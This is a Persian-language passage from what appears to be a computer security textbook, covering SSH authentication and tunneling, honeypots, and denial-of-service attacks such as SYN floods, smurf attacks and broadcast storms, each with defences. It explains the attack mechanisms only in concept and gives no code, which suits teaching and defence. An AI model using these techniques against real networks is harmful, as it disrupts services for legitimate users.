  SSHگيرنده با استفاده از تصديق هويت سرويس

گيرنده نام كاربري حسابي كه قصد استفاده از آن دارد شود، سرويس  متصل ميSSHدهندة گيرنده به سرويسزمانيكه يك سرويس
دهنده آن سند را معتبر درصورتيكه سرويس. كند دهد، و سپس براي اثبات اين ادعا يك سند تصديق هويت ارائه مي را ارائه مي

  .سازد ا وارد آن ميكند و كاربر رتشخيص دهد، يك نسخه از پوسته براي آن كاربر ايجاد مي

SSH٢٩٩:دهنده، روشهاي امنيتي مختلفي داردعامل سرويس ها روي سيستمگيرنده براي تصديق هويت سرويس  

اين رمز . دهندة راه دور ارائه كنندتوانند يك رمز عبور معتبر براي حساب كاربري موجود روي سرويس ها ميگيرندهسرويس •
 .شودساده منتقل نميعبور بصورت متن

گيرنده بايد در اينصورت سرويس. توانند براي اثبات هويت خود از رمزنگاري كليد عمومي استفاده كنندها ميگيرندهسرويس •
هاي مجاز مشتري وجود داشته باشد و مشتري بتواند اطلاعاتي كه با اين كليد  يك كليد عمومي ارائه دهد كه در فايل كليد

 .اند را رمزگشايي كندرمزگذاري شده
پاسخِ موجود / ، رمز عبور يكبار مصرف، و يا ساير سيستمهاي درخواست Kerberosتوانند با استفاده از  ها ميگيرندهسرويس •

 .دهنده، تصديق هويت شونددر سرويس

  TCPتونل زدن اتصال 

SSH قادر است يك اتصال TCPابتدا از . دگيرندة ثانويه برقرار كندهنده و يك سرويس را بصورت تونل ميان سرويس
روي ماشين راه دور برقرار شود و درخواست ايجاد تونل به  SSHدهندة شود تا اتصالي با سرويساستفاده مي SSHگيرندة  سرويس

آميز باشد و اتصالِ آن برقرار گردد، موفقيت SSHگيرندة چنانچه تصديق هويت سرويس. يك پورت ديگر آن ماشين ارسال گردد
دهندة اتصالي با سرويس SSHدهندة ايستد؛ سرويسي يك پورت جديد رايانة ميزبان خود به انتظار ميگيرنده رواين سرويس

گيرندة دوم به برقراري اتصال با پورت جديد ميزبان محلي هدايت سازد؛ سرويس دومي كه روي ماشين راه دور است برقرار مي
ها را به يابد، و آن نيز داده  انتقال ميsshdدهندة  سرويسبه SSHهاي دريافتي از اين پورت جديد توسط  شود و داده مي

  .فرستد دهندة راه دور دوم مي سرويس

 بايد از چندين تونل استفاده كرد FTPمثلاً براي حفاظت از .  محافظت كردTCPتوان با يك تونل سادة برخي از پروتكلها را نمي
 كه مطابق ٣٠٠ جايگزين دارندFTPگيرندة ، يك سرويسSSHهاي شتر نسخهو بنابراين بي) بيني برخي از آنها مشكل است كه پيش(

 نيز از مشكلات مشابهي X-Windowsپروتكل . برد را بكار ميSSHكند، اما اتصالات  كار مي دارند FTPانتظاري كه كاربران از 
بجاي اجراي . خاص وجود دارد پشتيباني X-Windows، براي تونل زدن اتصال SSHهاي برد، اما در بيشتر برنامهرنج مي
كند كه  و يك تونل ايجاد ميX يك نمايشگر مجازي X ،SSHدهندة محلي  روي يك سرويسXگيرندة راه دور سرويس
  .استفاده كند) SSHاز طريق (دهندة محلي تواند از آن براي ايجاد ارتباط با سرويس گيرندة راه دور به آساني ميسرويس

                                                                                                                                            
۲۹۹   SSHكه بر اساس آدرس  امنيت كمتر نيز دارد  روشهاي باIP دآنها اجتناب كربكار بردن كنند و عموماً بايد از كار ميگيرنده سرويس.  
 .شود ناميده ميsftpگيرنده معمولاً  اين سرويس  ۳۰۰
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  سيستمهاي طعمه

جديد براي مقابله با مهاجمان، برپايي سيستمهاي طعمه براي آنان است تا بجاي سيستمهاي اصلي به آنها حمله كنند، و يك روش 
دهند تا شده را قرار ميپذيريهاي شناختهدر اين سيستمها تعمداً آسيب. لذا سيستمهاي طعمه معمولاً به شدت تحت نظارت قرار دارند

  :شوند دو مزيت اصلي دارند نيز ناميده مي" كوزة عسل"سيستمهاي طعمه كه گاهي . آنها بالا روداحتمال مورد حمله قرار گرفتن 

با اين . توان از آنها براي شناسايي مهاجمان استفاده كرد از آنجا سيستمهاي طعمه به شدت تحت نظارت قرار دارند، مي .١
 .ير اطلاعات مربوط به مهاجمان را بدست آوردتوان موقعيت، تكنيك، انگيزه، سطح مهارت، اهداف، و ساسيستمها مي

درصورتيكه يك سيستم طعمه به اندازة كافي غني و جذاب باشد، كاوش در آن ممكن است آنقدر وقت مهاجم را بگيرد كه  .٢
  .ديگر فرصتي براي حمله به سيستمهاي اصلي پيدا نكند

شما بايد كاملاً اطمينان . همي در اين سيستمها بيابدممكن است مهاجمان مطلب م. سيستمهاي طعمه فارغ از مخاطرات نيستند
  داشته باشيد كه هيچ چيزي در سيستمهاي طعمه وجود ندارد كه مهاجمان بتوانند از آن براي ضربه زدن به شما 

سائل براي اطمينان از اين م. خصوصاً سيستم طعمه نبايد هيچ اطلاعاتي در مورد سازمان شما داشته باشد. سوء استفاده كنند
همچنين اگر سازمان به ديوارة آتش مجهز باشد، سيستم طعمه بايد . هاي نو را بعنوان سيستمهاي طعمه بكار برد توان تنها رايانه مي

  .خارج از آن قرار بگيرد

ستفاده هاي ديگر در اينترنت ا نه مخاطرة دوم سيستمهاي طعمه اين است كه ممكن است از آنها بعنوان سكويي براي حمله به رايا
هاي احتمالي را برعهده شود، كه در اينصورت شما مسئوليت مدني خسارات وارده به شخص ثالث و يا حتي مسئوليت جزائي توطئه

  .خواهيد داشت

بدليل اين مخاطرات، بايد پيش از برپايي هرگونه سيستم طعمه يا كوزة عسل بدقت فكر كنيد و ترجيحاً با يك حقوقدان زبده نيز 
  .ييدمشورت نما
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  فصل هشتم
  انواع حملات و روشهاي مقابله با آنها

  كليات
اين فنون بطور كلي به سه دستة مجزا . ها از فنون بسياري استفاده شده استدهندهبراي حمله به ايستگاههاي كاري و سرويس

  :شوندتقسيم مي

 برداري از راه دورحملات تخريب سرويس و بهره
در بـسياري از مـوارد      . شود مهاجمان بتوانند سيستم را از كار بياندازند       ذيريهايي وجود دارد كه باعث مي     پها آسيب  در بسياري از رايانه   
در موارد ديگر مهاجمان براي نفوذ و تسخير سيستمهاي . تواند روي شبكه، حتي بدون ورود به سيستم انجام پذيرد   اين نوع حمله مي   

  .پذير، نياز به دسترسي به شبكه دارندآسيب

 ايديدات برنامهته
راه ديگر تسخير يك سيستم توسط مهاجم، فرستادن يك برنامة مخرب به كاربران سيستم و انتظار براي اجراي اين برنامـه توسـط                       

دهد؛ و برخـي ديگـر      كنند كه كنترل رايانه را از راه دور به مهاجم مي          ها، سرويسهاي پنهاني نصب مي    برخي از اين برنامه   . آنها است 
  .يابند ها انتقال مي فته و ميان رايانهتكثير يا

 ٣٠١مهندسي اجتماعي
كند تا آنها    در يك حملة مهندسي اجتماعي، مهاجم از خصوصيات طبيعي و اجتماعي كاربران و راهبران سيستمهاي شما استفاده مي                 

  .را به فاش كردن اسرار يا انجام كارهاي مخل امنيت وادارد

  .گيرند هايي براي مقابله با آنها بطور جداگانه مورد بررسي قرار ميت به همراه توصيهدر اين بخش هر يك از انواع اين حملا

  حملات تخريب سرويس
كند كه چيزي  شدة سيستم استفاده مياشتراك گذاشتهاي است كه در آن مهاجم آنقدر از يك منبع بهحملة تخريب سرويس، حمله

توانند  اين منابع مي. دهند منابع را مورد هجوم قرار مي٣٠٢قابليت دسترسيِوع حملات، اين ن. مانداز آن براي كاربران ديگر باقي نمي
نتيجة اين حمله مختل شدن . ها، فضاي ديسك، زمان پردازنده، كاغذ چاپگر، مودم و يا وقت راهبر يك سيستم قرباني باشندپردازه

  .باشد و يا از كار افتادن سرويس مي

  .سرويس وجود دارد که در ادامة اين فصل به آنها پرداخته شده استبطور كلي دو نوع حملة تخريب 
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 ٣٠٣حملات تخريب

مثلاً از كار . كنيدكنند، بطوريكه شما ديگر نمي توانيد از آنها استفادهزنند يا آنها را تخريب ميهايي به منابع صدمه ميچنين حمله
  .دن فايلهاي حياتي سيستمانداختن يك ديسك و درنتيجه از كار افتادن رايانه يا پاك كر

  توان با مي. تواند به تخريب سرويس منجر شودراههاي بسياري براي از بين بردن و يا ايجاد اختلال در اطلاعات وجود دارد كه مي
شده محدود كردن دسترسي به فايلهاي حياتي و محافظت از آنها در برابر كاربران غيرمجاز، تقريباً از تمامي حملات شناخته

درصورتيكه براي حفاظت از سيستم از تدابير مناسب امنيتي بهره ببريد، خود به خود از وقوع اين قبيل حملات . لوگيري كردج
  .ايدمخرب نيز جلوگيري كرده

  ٣٠٤ حملات بارگذاري بيش از حد

كنند، و درنتيجه را مصرف ميگذارند و يا تمام توانايي برخي منابع اينگونه حملات، بار بسيار زيادي روي برخي خدمات سيستم مي
 از ديسك است كه در نتيجة آن partitionترين نوع بارگذاري، پركردن يك ساده. گيرندجلوي استفادة ديگران از آن خدمات را مي

ندة دهتواند بمباران يك سرويسبارگذاري روي يك شبكه مي. توانند فايل جديدي ايجاد نمايندهاي سيستمي نميكاربران و برنامه
دهنده قادر به پردازش آنها نباشد؛ و يا مشغول نگهداشتن اتصال اينترنتي يك شبكه با درخواستهاي بيشمار باشد، بطوريكه سرويس

  . اي كه پهناي باندي براي فرستادن اطلاعات مفيد باقي نماندسازمان، بگونه

شما ممكن است قادر به محدود . اينگونه حملات برخوردارندعاملهاي جديد، از مكانيزمهايي براي دفاع در برابر بسياري از سيستم
ها و فايلهاي يك كاربر، فضاي ديسك مختص هر كاربر، و يا حتي ميزان زمان ريزپردازنده كه هر كردن حداكثر تعداد مجاز پردازه

با اين وجود بسياري . محدود كردتوان از جهت سرعت و زمان ريزپردازنده  اي را ميخدمات شبكه. تواند مصرف كند باشيدكاربر مي
پذير هستند، چراكه تنظيمات حفاظتي عموماً انجام نگرفته و يا به هاي تخريب سرويس آسيباز سيستمها هنوز در برابر حمله

  .انددرستي اعمال نشده

شده با اشتراك گذاشتهك منبع يا سرويسِ به، ي)ناميممي" حملات بارگذاري"كه در ادامة بحث، آنرا به اختصار " (بارگذاريِ بيش از حد"در حملة 
بعنوان . ماندشود، تا جائيكه از پاسخگويي به درخواستهاي حقيقي ساير كاربران باز ميدرخواستهاي غيرحقيقيِ بيشماري مشغول مي

ند بود، و اگر كاربري ديسكها هاي خود نخواهمثال اگر يك كاربر تعداد زيادي پردازه ايجاد نمايد، ساير كاربران قادر به اجراي پردازه
توانيد با تعريف و اعمال محدوديتهاي مختلف از جمله  شما مي. توانند فايل جديدي ايجاد كنندرا پر كند، كاربران ديگر نمي

، تا حدودي از منابع مورد استفادة كاربران در مقابل حملات )quota(محدوديت در حجم مجاز ديسك براي استفادة كاربران 
 خود را به   استفاده كنيد؛ مثلاً منابع رايانةquotaتوانيد از محدوديتهاي فيزيكي بعنوان نوعي  شما مي. اري محافظت نماييدبارگذ

partition مختلف تقسيم نماييد و هر كاربر را محدود به استفاده از يك هايpartition توانيد نهايتاً اينکه شما مي. گردانيد
اندازي مجدد ها را راهيد كه بارگذاري بيش از حد را بطور خودكار تشخيص دهند و در آنصورت رايانهسيستمها را طوري تنظيم كن

  ).تواند مشكلات ديگري بوجود آوردايد كه اين خود مياندازي مجدد رايانه را دادههرچند به اين ترتيب به مهاجم امكان راه. (كنند

  حافظهها، ريزپردازنده، و مشكلات بارگذاري پردازه

اي، مهاجم رايانه را براي ساير كاربران  پردازهتهاجمدر يك . است ٣٠٥ايپردازه تهاجمترين حملات تخريب سرويس، يكي از ساده
اي نوع ديگري از حملات تخريب سرويس پردازه. نمايدكنند غيرقابل استفاده ميكه بصورت همزمان از خدمات رايانه استفاده مي

گيرد؛ و نوعي ديگر نيز  را ميريزپردازندههاي زياد، تمام پهناي باند ديسك يا كه مهاجم با ايجاد پردازهافتد زماني اتفاق مي
يا " باكتري"ها گاه به اين برنامه. كندسيستم را اشغال مي) فيزيكي و مجازي(هاي مهاجم تمام حافظة درصورتي است كه برنامه
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اشتراك هاي بهبطور كلي اين حملات در مورد رايانه. رعت بسيار بالايي داردشود؛ چون توليد مثل آنها س گفته مي" خرگوش"
كنند، چراكه اگر كاربري ايستگاه كاري خودش را بيش از ظرفيت بارگذاري كند، تا وقتي قرار نيست شده موضوعيت پيدا ميگذاشته

  ٣٠٦.شخص ديگري از آن استفاده كند چندان مهم نيست

اگر . باشد گذاري منابع مياشتراكلات بارگذاري، آموزش كاربران براي استفاده از مكانيزمهاي عادلانة بهبهترين راه مبارزه با مشك
سيستم هاي مشابه در اختيار داريد، بهتر است از يك اي از رايانههاي شما نيازمند پردازش بالا هستند و شما هم شبكهبرنامه
توانند  عامل آنها را پشتيباني كند ميها نيز درصورتيكه سيستمquotaدوديتها و مح.  استفاده كنيد٣٠٧شدة زمانبندي وظايف توزيع

  .مفيد باشند

  حملات به ديسكها

اگر يك كاربر تمام ديسك را پر كند، از آن . باشديك راه ديگر براي غلبه بر يك سيستم، پر كردن بخشهاي مختلف ديسك مي
بعضي اوقات زمانيكه يك برنامه يا كاربر به .  بعبارتي انجام كار مفيد نخواهند بودپس ساير كاربران قادر به ايجاد فايلهاي جديد و

در مواقع ديگر با زياد شدن تدريجي فضاي . گردد كند، ظرفيت ديسك بطور ناگهاني پر مياشتباه اقدام به ايجاد فايلهاي متعدد مي
  .شوندمورد استفاده كاربران، ديسكها به مرور پر مي

عاملها دستوراتي دارند كه به مديران در كنترل فضاي ديسك مورد استفاده توسط كاربران و در اتخاذ تصميم در مورد اكثر سيستم
يك راه مؤثر براي حفاظت سيستم در مقابل حملات ديسكي، استفاده از . كنندپاك كردن فايلها جهت ايجاد فضاي بيشتر كمك مي

توان هر با اين ويژگي مي).  واجد اين ويژگي هستندPosixمعمولاً سيستمهاي مبتني بر  (عامل است براي ديسك در سيستمquotaويژگي 
يا سيستمِ فايل قابل دسترسي توسط كاربران، بايد براي ديسك  partitionدر هر . كاربر را در استفاده از ديسك محدود كرد

qouta  در تخصيص فضاي مجاز به كاربران، درنظر گرفتن . شودمشخصpartitionهاي مربوط به ذخيرة نامههاي ها و شاخه
  .الكترونيكي و يا فضاي فايلهاي موقت پردازشها را فراموش نكنيد

كاربران مختلف در  homeهاي كوچكتر و قرار دادن شاخه partitionبه چند  ديسك سختتوانيد با تفكيك  همچنين شما مي
partition در اينصورت اگر كاربري يك . نوع حملات محافظت نماييدمتفاوت، از سيستم خود در برابر اين هايpartition  را بطور

يكي از مشكلات اين شيوه اين است كه اگر . نخواهد داشتها partitionكامل اشغال كند، اين امر تأثيري بر كاربران ساير 
پيوند ، و همچنين در سيستمهايي كه از ديگري منتقل كنيد partitionاي به فضاي بيشتري نياز داشته باشد بايد آنرا به  شاخه
  .توانيد ميان فايلهاي چند كاربر متفاوت پيوند سخت ايجاد كنيدكنند نمي پشنيباني مي٣٠٨سخت

مثلاً (كنيد كه ممكن است به كاربران خارجي اجازة اشغال فضاي زيادي از ديسك را بدهند اگر شما خدماتي روي شبكه اجرا مي
، آنها را در بخشهاي مجزايي قرار دهيد تا ساير بخشها در معرض ) گمنامupload با توانايي FTPنيكي و يا يك پايگاه هاي الكترودريافت نامه

هاي الكترونيكي و يا فايلها بسيار آزاردهنده است، اما از دست دادن كل از دست دادن موقت توانايي دريافت نامه. سرريز نباشند
  . باشدحمل ميدهنده غيرقابل تدسترسي به سرويس

 بطور خودكار قسمتي از ديسك را - مورد استفاده قرار دارند Unix بخصوص آنهايي كه در سيستمهاي -برخي از سيستمهاي فايل 
تواند درصورت پر شدن ديسك به سيستم  با استفاده از اين ويژگي، ابركاربر مي. كنند  رزرو مي٣٠٩ابركاربرهاي براي استفادة پردازه

توانيد اين حالت را با ايجاد يك فايل در سيستمهاي فايلي كه از اين ويژگي برخوردار نيستند مي. سيستم را مديريت كندوارد شود و 
  .سازي كنيد تا درصورتيكه بطور ناگهاني به فضاي خالي نياز پيدا كرديد، آنرا پاك نماييدزائد بزرگ روي ديسك شبيه

                                                                                                                                            
  .PUIS كتاب ۲۴به بخش رجوع كنيد اي هاي مربوط به ترميم پس از انجام يك حملة پردازه توصيهمشاهدة براي    ۳۰۶

307  Distributed Task Scheduling System 
308  Hard Link 
309  Superuser 
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  تخريب سرويس شبكه

در اينگونه حملات، مهاجم مانع استفادة كاربران حقيقي و مجاز از . پذيرندلات تخريب سرويس آسيبها نيز نسبت به حم شبكه
  . توان بوجود آورداين نوع حمله به شبكه را به اشكال مختلف مي. شودشبكه مي

  بارگذاري سرويس

دهنده روي  سرويسdaemonيك شود كه سيلي از درخواستها از طريق شبكه به يك سرويس زماني بيش از حد بارگذاري مي
  . تواند به طرق گوناگوني به وجود آيد؛ هم به شكل تصادفي و هم به شكل عمدياين سيل درخواستها مي. يك رايانه سرازير شود

اي كند كه ديگر قادر به انجام ساير كارها طبق روال تواند سيستم را آنچنان مشغول پردازش درخواستهاي شبكهاين مسئله مي
و درخواستهاي واقعي  شوند،شدن دور ريخته ميدر اينحالت بسياري از درخواستها بدليل عدم وجود محلي براي ذخيره. ي نباشدعاد

شود مورد حمله قرار گيرد، اگر سرويسي كه باعث شروع يك پردازة جديد مي. افزايندگردند و به بارِ روي رايانه ميمجدداً ارسال مي
به . ها باقي نماندهاي جديد توليد كند كه ديگر براي انجام كارهاي مفيد، جايي در جدول پردازهپردازهسيستم ممكن است آنقدر 

  .همين شكل، اين حمله ممكن است باعث اشغال بخش اعظمي از حافظه، ريزپردازنده يا فضاي ديسك توسط آن سرويس شود

بعنوان . اي در جايي ديگر و يا طرحي براي پنهان كردن حملهبار اضافي ناشي از اين حمله ممكن است هدف نهايي مهاجم باشد،
. موقعِ ورود و خروج جلوگيري بعمل آوردمثال ممكن است دستگاه ثبت اطلاعات مميزي مورد حمله قرار گيرد تا از ثبت شدن به

 مثلاً -حاليكه عمل ديگري اين نوع حمله ممكن است صرفاً براي منحرف كردن توجهات و يا قطع خطوط ارتباطي انجام گيرد، در
  . درحال وقوع است-گذاري در يك اتوموبيل بمب

فهرستي از ماشينها و آدرسهاي . توانيد از يك ناظر شبكه براي كشف نوع و گاهي مبدأ حملات بارگذاري استفاده كنيد شما مي
 اگر از داخل شبكة خودتان - رديابي مبدأ مشكل تواند به شما درمي) IP، و نه آدرسهاي ethernetآدرس روي كارت (افزاري آنها  سخت
اگر در ديوارة آتش يا . تواند در انجام كار كمك كند ها ميهنگام رديابي مشكل، منفصل كردن شبكه و زيرشبكه.  كمك كند-باشد 

توان به  ن؛ چون نميتوانيد بفهميد كه حمله از داخل شبكه بوده يا خارج آمسيرياب خود قابليت ثبت داشته باشيد، به سرعت مي
  .هاي ارسالي اطمينان كرد بستهIPآدرس 

توانيد صدمات توانيد از حملات بارگذاري ممانعت بعمل آوريد، اما اقدامات زيادي وجود دارد كه با بكارگيري آنها مياگرچه نمي
  .تر سازيدوارده را به حداقل رسانده يا سيستم خود را در برابر آنها مقاوم

   مقابله با حملهآمادگي براي
كننده و ساير انواع سيستمهاي تحليل، درصورت وقوع حمله به سرعت قادر به شناسايي نوع حملـه و                  با نصب سيستمهاي ناظر، ثبت    

داشـته باشـيد تـا بوسـيلة آنهـا          ) شدهو محافظت (روي زيرشبكة خود چند نظارتگر اضافه       . با كمي اقبال، تعيين مبدأ آن نيز خواهيد بود        
افزاري نيز دم دست داشـته باشـيد تـا     و ماشينهاي سخت IPفهرستي از آدرسهاي    .  به سرعت ترافيك شبكه را بررسي نماييد       بتوانيد

  .ها بهتر بتواند به شما در تشخيص منشاء بارگذاري كمك كندمشاهدة جريان بسته

  تفكيك شبكه به چند زيرشبكه
  .افتندا بصورت تصادفي از كار بيافتد، همة ماشينها از كار نميبا انجام اينكار درصورتيكه يك زيرشبكه در اثر حمله ي

  تهية چند اتصال اينترنت براي سازمان
  .برخي از اتصالها ممكن است اعلان عمومي نشوند، اما براي روز مبادا کنار گذاشته شده باشند
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  هاي كاربردياستفاده از مفهوم دريچه در برنامه
اي درخواسـت در مـدت زمـان كوتـاهي          هستند، تا اگر تعداد بـيش از انـدازه        " دريچة ورودي "اي يك   ها اصطلاحاً دار  برخي از برنامه  

پذيرد كه   اين عمل با اين فرض انجام مي      . دريافت كردند، شروع به رد درخواستها و ثبت پيغامي مبني بر از كار افتادن سرويس كنند               
نكار اين است كه اين سرويس همانند وقتي كـه تمـام تقاضـاها را بـراي               اثر جانبي اي  . يك اشكال، اين ترافيك را بوجود آورده است       

تـوان جلـوي از كـار افتـادن كامـل           به هرحـال بـه كمـك ايـن روش مـي           . شودافتاد، غيرفعال مي  پذيرفت و از كار مي    پردازش مي 
 .اي از زمان وقوع اين مشكل نيز به ثبت رسانددهنده را گرفت و در كنار آن سابقه سرويس

  نان از معقول بودن محدوديتهاي موجود در فايلهاي پيكربندياطمي
دهنده باعث ايد كه افزايش ناگهاني تعداد درخواستها به سرويس را اجرا كرده باشيد حتماً ديده      Apacheدهندة وب   اگر شما سرويس  

"fork "     شدن تعداد زيادي پردازةhttp زِ همزمان بـا پـارامتر       دهنده تعداد كل اتصالهاي مجا    در اين سرويس  . شود  ميmaxClients 
  .گردد  كنترل ميhttpd.conf به نام Apacheدر فايل پيكربندي 

 پـردازة   ٢٠٠ است، به اين معني كه حداكثر        ٢٠٠فرض عدد    بصورت پيش  maxClients مقدار   Apacheهاي  در بسياري از نسخه   
http  هاي  ز پردازه اگر هريك ا  . توانند بصورت همزمان وجود داشته باشند      مجزا ميhttpd مگابايت داشته باشـد،     ٨اي معادل    حافظه 

 مگابايت باشند، در آنصورت     ٢٠ httpdهاي  اما اگر هريك از پردازه    . كنند را اشغال مي   swap گيگابايت فضاي    ١،٦درحالت حداكثر   
  .ر باشد نياز داريد؛ كه شايد از كل ظرفيت حافظة سيستم شما هم بيشتswap گيگابايت فضاي ٤٠شما به 

  ٣١٠سيل پيامها

اي به آدرس يك سيـستم، سـرعت پـردازش          افتد كه كاربري با سرازيركردن تعداد زيادي پيامهاي شبكه         وقتي اتفاق مي   سيل پيامها 
اين پيامها ممكن است درخواستهايي براي سرويس فايل، سرويس         . كند تا از عملكرد عادي آن جلوگيري نمايد       آنرا در شبكه كم مي    

شود بيشتر منـابع رايانـة مقـصد صـرف          اين سيل پيامها به هر شكلي كه باشد باعث مي         .  درخواستهاي سادة پژواك باشند    ورود، و يا  
در بدترين حالات اين سيل ممكن است باعث شود ماشين بعلت مواجهه با خطاهاي ناشي از كمبود حافظه                  . پاسخگويي به آنها شود   

  . هاي شبكه خواهد شددهنده در اينصورت اين حمله باعث انسداد دسترسي به سرويس.هاي ورودي از كار بيافتدبراي ذخيرة بسته

توانـد  مهـاجم بـا اسـتفاده از ايـن مـسئله مـي      . زده ممكن است نتواند به پيامهاي شبكه پاسخِ بهنگام دهـد     دهندة سيل يك سرويس 
زده كنـد    را سيل  NISدهندة  تواند يك سرويس  مثلاً مي . دهنده به پيامها و درخواستها پاسخ دهد      اي بنويسد كه بجاي سرويس     برنامه

  . صادر نمايد- خصوصاً درخواست رمز عبور - NISو سپس پاسخهاي خود را براي درخواستهاي 

توانيد پيـامي بـسازيد كـه هـر رايانـة            با طراحي دقيق و ماهرانة پيامهاي شبكه، مي       .  است ٣١١گسترطوفان عام نوع مشابهي از حمله،     
قبـل از   . گـردد  درنتيجة اين حمله، شبكه اشباع شده و غيرقابل استفاده مـي          . ه را وادار به پاسخ و يا ارسال مجدد آن كند          كنند دريافت

افزاري محصولات درحال ساختي كه حاوي اشكالات بودنـد     افزاري و يا نرم     گستر از اشكالات سخت    طوفانهاي عام  ١٩٩٠اواخر دهة   
گستر را بطور عمدي ايجـاد كـرد و   شد، اما اكنون اين امكان وجود دارد كه يك طوفان عام         مي و يا پيکربندي نادرستي داشتند ناشي     

  . از همين قبيل هستند هايي نيز نمونهfraggle و smurfحملات معروف به 

اي پيكربنـدي  نـه ها بگو اگر هر يك از رايانه. هاي يك شبكه گردد  تواند موجب توقف كار رايانه     پخش پيامهاي با قالب اشتباه نيز مي      
تواننـد آنقـدر پيـام توليـد كننـد كـه در نتيجـة آنهـا                 شده باشند كه پيامهـاي نامناسـب را روي ديـسك ثبـت كننـد، طوفانهـا مـي                  

  .ها قادر به انجام هيچ كاري بجز پردازش و ثبت خطاها نباشند گيرنده سرويس

                                                                                                                                            
310  Message Flooding 
311  Broadcast Storm 
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تواند به مقابله با اين دسته مـشكلات كمـك           زيرشبكه مي  در اينجا هم داشتن يك رايانة مجزا براي نظارت و تفكيك شبكه به چند             
هـاي آتـش    همچنـين برخـي از ديـواره      . حلها قادر به جلوگيري كامل از اين مـشكلات نيـستند          كند، هرچند كه هيچكدام از اين راه      

 در  netfilterبرنامـة   . ن حملات بكاهند  از تأثير اي  " كنترلِ سرعت اتصال  "توانند با   مي) افزاري يا مبتني بر ميزبان    سخت(ها  ساز بسته  غربال
  .ها است نمونة خوبي از اين قبيل برنامهLinux 2.4عامل هستة سيستم

گـستر از ميزبانهـاي غيرمجـاز، بـسيار بـا       ها براي جلوگيري از ارسال پيامهاي عام      مسيريابهاي آتش و    پيكربندي صحيح تمام ديواره   
 بـه  CERT/CCاي سـند مـشاوره  .  انجام اينكار مستندات فروشنده را بررسي كنيدبهتر است براي اطلاع از چگونگي. اهميت است 

جزئيات پيكربندي بسياري از سيستمهاي رايج براي توقف و جلوگيري از بروز ) كه در پايگاه وب آن موجود است  (CA-1998-01شمارة  
  .چنين ارسالهايي را شرح داده است

كننـد تـا   دهند از آدرسهاي تصادفي بعنوان آدرس مبدأ استفاده مـي ب سرويس انجام مي  افزارهاي تهاجم كه حملات تخري    بيشتر نرم 
هاي مـرزي، هـر از چنـدگاه جلـوي مـشاركت            مـسيرياب درنتيجه صافيهاي خروجي روي     . احتمال آشكار شدن حمله را كاهش دهند      

تر ان در اين حملات درگير باقي بمانند، ساده        و اگر آنها همچن    -گيرند  شده را مي  هاي شبكه در حملات تخريب سرويس توزيع       رايانه
  .هاي حمله داراي آدرسهاي بازگشت صحيحي خواهند بودتوان آنها را رديابي كرد، چون بستهمي

  )SYNحملات سيل (حملات انسداد 

يكي از راههـاي    . آوردعاملها به طرق گوناگون امكان سوء استفاده را فراهم مي          روي برخي سيستم   TCP/IPسازي پروتكلهاي   پياده
" ايدادن چندمرحله دست" از مكانيزمي به نام      TCPاتصالهاي  . باشدباز مي تخريب سرويس، استفاده از حداكثرِ ممكنِ اتصالهاي نيمه       

) SYNهـاي  بـسته (اگر يك مهاجم چند پيامِ ايجـاد ارتبـاط   . كنندبراي بازكردن يك اتصال و تنظيم پارامترهاي آن اتصال استفاده مي        
مانند و منابع محدود آنرا اشغال      باز باقي مي  رستد اما مراحل بعدي ايجاد اتصال را انجام ندهد، چندين اتصال در سمت گيرنده نيمه              بف
معمولاً اين درخواستهاي اتصال داراي آدرسهاي مبدأ جعلي هستند كه مربوط به ميزبانهايي غيرواقعي يا غيرقابل دسترسي                 . كنندمي

باز تا زمـاني  اين اتصالات نيمه.  درنتيجه راهي نيز براي رديابي مبدأ آنها وجود ندارد.باشدتباط با آنها غيرممكن ميبوده و برقراري ار 
حمـلات سـيل   بـه ايـن حمـلات،      . ماننـد بـاقي مـي   ) يا تا زماني كه توسط مهاجم دوباره فرستاده شـوند         (كه زمان حيات آنها به پايان برسد        

SYNگويند مي٣١٣ت انسدادحملاتر  و يا بطور ساده٣١٢.  

دهنـد كـه مـورد      عاملها بطور خودكار تشخيص مي    بعضي سيستم .  وجود دارد  SYNحلهاي زيادي براي رفع تهديد حملات سيل        راه
يـك راه ديگـر ايـن    . آورنـد  را پايين ميSYNهاي اند و براي مقابله با آن، زمان حيات تمامِ بسته قرار گرفتهSYNيك حملة سيل    

از آنجا كه جدول معمولاً هنگام . ريزدهاي آنرا بطور تصادفي دور ميباز پر شود، هربار يكي از خانه        جدول اتصالات نيمه  است كه اگر    
  .هاي تهاجمي دور ريخته شود زياد استشود، احتمال اينكه يكي از بستهحمله پر مي

 SYN+ACK يـك پيـام   TCPدهندة رت سرويسدر اينصو . استفاده كند  SYNهاي  cookieتواند از   دهنده مي در نهايت سرويس  
 نيز وجود   TCPاي اتصال   دهندهفرستد كه در آن اطلاعات كافي براي بازسازي قسمت سرويس          مي TCPگيرندة  به سمت سرويس  

 ACKوقتي پيام   .  اوليه را از جدول خود حذف كند       SYNدهنده بتواند   آورد كه سرويس  دارد، و به اين ترتيب اين امكان را بوجود مي         
" طرفـه  سـه  دادندست"كند، اتصال با     اوليه را از روي آن اطلاعات بازسازي مي        SYNدهنده  گيرنده دريافت شد، سرويس   از سرويس 
 تبديل  ٣١٤مستقل از وضعيت   به فرآيندي    TCPبا استفاده از اين روش، برقراري اتصال        . كندشود و سپس شروع به كار مي      كامل مي 

  .گرددمي
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cookie  هايSYN ابداع شدند و در آدرس       ٣١٥دانيِل برنشتاين ط   توس http://cr.yp.to/syncookies.html     به تفصيل در مـورد
البته اين گزينه بايد در . ( هستندSYNهاي cookieسازي از  حاوي يك پيادهLinux و BSDسيستمهاي . آنها توضيح داده شده است

  ). صراحتاً فعال شودLinuxسيستمهاي 

توانيد طـول صـف را زيـاد    مي. باز در صف را تغيير دهيدسازي اتصالهاي نيمهدهند نحوة ذخيرهه شما اجازه ميعاملها ببرخي سيستم 
اين روش نيز از نظر شكل كاركرد غيراستاندارد است و درصورت استفاده از             . باز را كاهش دهيد   كنيد، و يا زمان حيات اتصالهاي نيمه      

بـراي مـوارد خـاص بـه توليدكننـدة      . عامل نياز پيدا كنندتكاري متغيرهاي هستة سيستمآن، ممكن است برخي توليدكنندگان به دس   
  .محصولات مورد استفادة خود رجوع كنيد

  ٣١٦حملات ترافيك بدشكل

 HTTPشدند كه سيستمها در برخورد با يك بسته يا درخواست بدشكل          در گذشته، اشكالات موجود در سطوح پايين شبكه باعث مي         
 را با دريافت يك بستة      Unix و   Windows هردوي سيستمهاي    ٣١٧پژواک مرگ  بعنوان مثال نوعي حمله معروف به        .از كار بيافتند  

ICMP  هاي هاي چاپگر، ديواره   دهنده اي زيادي از جمله سرويس    تجهيزات شبكه . انداختتر از اندازة مجاز بود از كار مي        كه طولاني
